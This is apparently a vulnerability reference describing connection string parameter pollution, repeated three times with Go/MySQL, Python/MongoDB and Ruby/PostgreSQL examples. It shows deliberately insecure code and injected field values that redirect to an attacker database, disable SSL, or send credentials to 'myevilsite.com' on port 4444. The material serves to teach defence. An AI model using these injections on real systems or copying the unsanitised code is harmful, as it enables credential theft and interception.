Connection String Parameter Pollution

Connection String Parameter Pollution (CSPP) attacks consist of injecting connection string parameters into other existing parameters. This vulnerability is similar to vulnerabilities, and perhaps more well known, within HTTP environments where parameter pollution can also occur. However, it also can apply in other places such as database connection strings. If an application does not properly sanitize the user input, a malicious user may compromise the logic of the application to perform attacks from stealing credentials, to retrieving the entire database. By submitting additional parameters that have the same name as an existing parameter to an application, the database might react in one of the following ways:

It might only take the data from the first parameter
It might take the data from the last parameter
It might take the data from all parameters and concatenate them together

This is dependent on the driver used, the database type, or even how APIs are used.


Example 1: The following code uses input from an HTTP request to connect to a database:

    ...
    password := request.FormValue("db_pass")
    db, err := sql.Open("mysql", "user:" + password + "@/dbname")
    ...

In this example, the programmer has not considered that an attacker could provide a db_pass parameter such as:
"xxx@/attackerdb?foo=" then connection string becomes:

"user:xxx@/attackerdb?foo=/dbname"

This will make the application connect to an attacker controller database enabling him to control which data is return to the application.

Connection String Parameter Pollution (CSPP) attacks consist of injecting connection string parameters into other existing parameters. This vulnerability is similar to vulnerabilities, and perhaps more well known, within HTTP environments where parameter pollution can also occur. However, it also can apply in other places such as database connection strings. If an application does not properly sanitize the user input, a malicious user may compromise the logic of the application to perform attacks from stealing credentials, to retrieving the entire database. By submitting additional parameters to an application, and if these parameters have the same name as an existing parameter, the database connection may react in one of the following ways:

It may only take the data from the first parameter
It may take the data from the last parameter
It may take the data from all parameters and concatenate them together

This may be dependent on the driver used, the database type, or even how APIs are used.

Example 1: The following code uses input from an HTTP request to connect to a database:

username = req.field('username')
password = req.field('password')
...
client = MongoClient('mongodb://%s:%s@aMongoDBInstance.com/?ssl=true' % (username, password))
...

In this example, the programmer has not considered that an attacker could provide a password parameter such as:
"myPassword@aMongoDBInstance.com/?ssl=false&" then the connection string becomes (assuming a username "scott"):

"mongodb://scott:myPassword@aMongoDBInstance.com/?ssl=false&@aMongoDBInstance.com/?ssl=true"

This will cause "@aMongoDBInstance.com/?ssl=true" to be treated as an additional invalid argument, effectively ignoring "ssl=true" and connecting to the database with no encryption.

Connection String Parameter Pollution (CSPP) attacks consist of injecting connection string parameters into other existing parameters. This vulnerability is similar to vulnerabilities, and perhaps more well known, within HTTP environments where parameter pollution can also occur. However, it also can apply in other places such as database connection strings. If an application does not properly sanitize the user input, a malicious user may compromise the logic of the application to perform attacks from stealing credentials, to retrieving the entire database. By submitting additional parameters to an application, and if these parameters have the same name as an existing parameter, the database connection may react in one of the following ways:

It may only take the data from the first parameter
It may take the data from the last parameter
It may take the data from all parameters and concatenate them together

This may be dependent on the driver used, the database type, or even how APIs are used.

Example 1: The following code uses input from an HTTP request to connect to a database:

hostname = req.params['host'] #gets POST parameter 'host'
...
conn = PG::Connection.new("connect_timeout=20 dbname=app_development user=#{user} password=#{password} host=#{hostname}")
...

In this example, the programmer has not considered that an attacker could provide a host parameter such as:
"myevilsite.com%20port%3D4444%20sslmode%3Ddisable" then connection string becomes (assuming a username "scott" and password "5up3RS3kR3t"):

"dbname=app_development user=scott password=5up3RS3kR3t host=myevilsite.com port=4444 sslmode=disable"

This will perform a lookup for "myevilsite.com" and connect to this on port 4444, disabling SSL. This would mean the attacker could steal the credentials of the user "scott" and then use this to either perform a man-in-the-middle attack between their machine and the real database, or just login to the real database and perform queries against the database directly.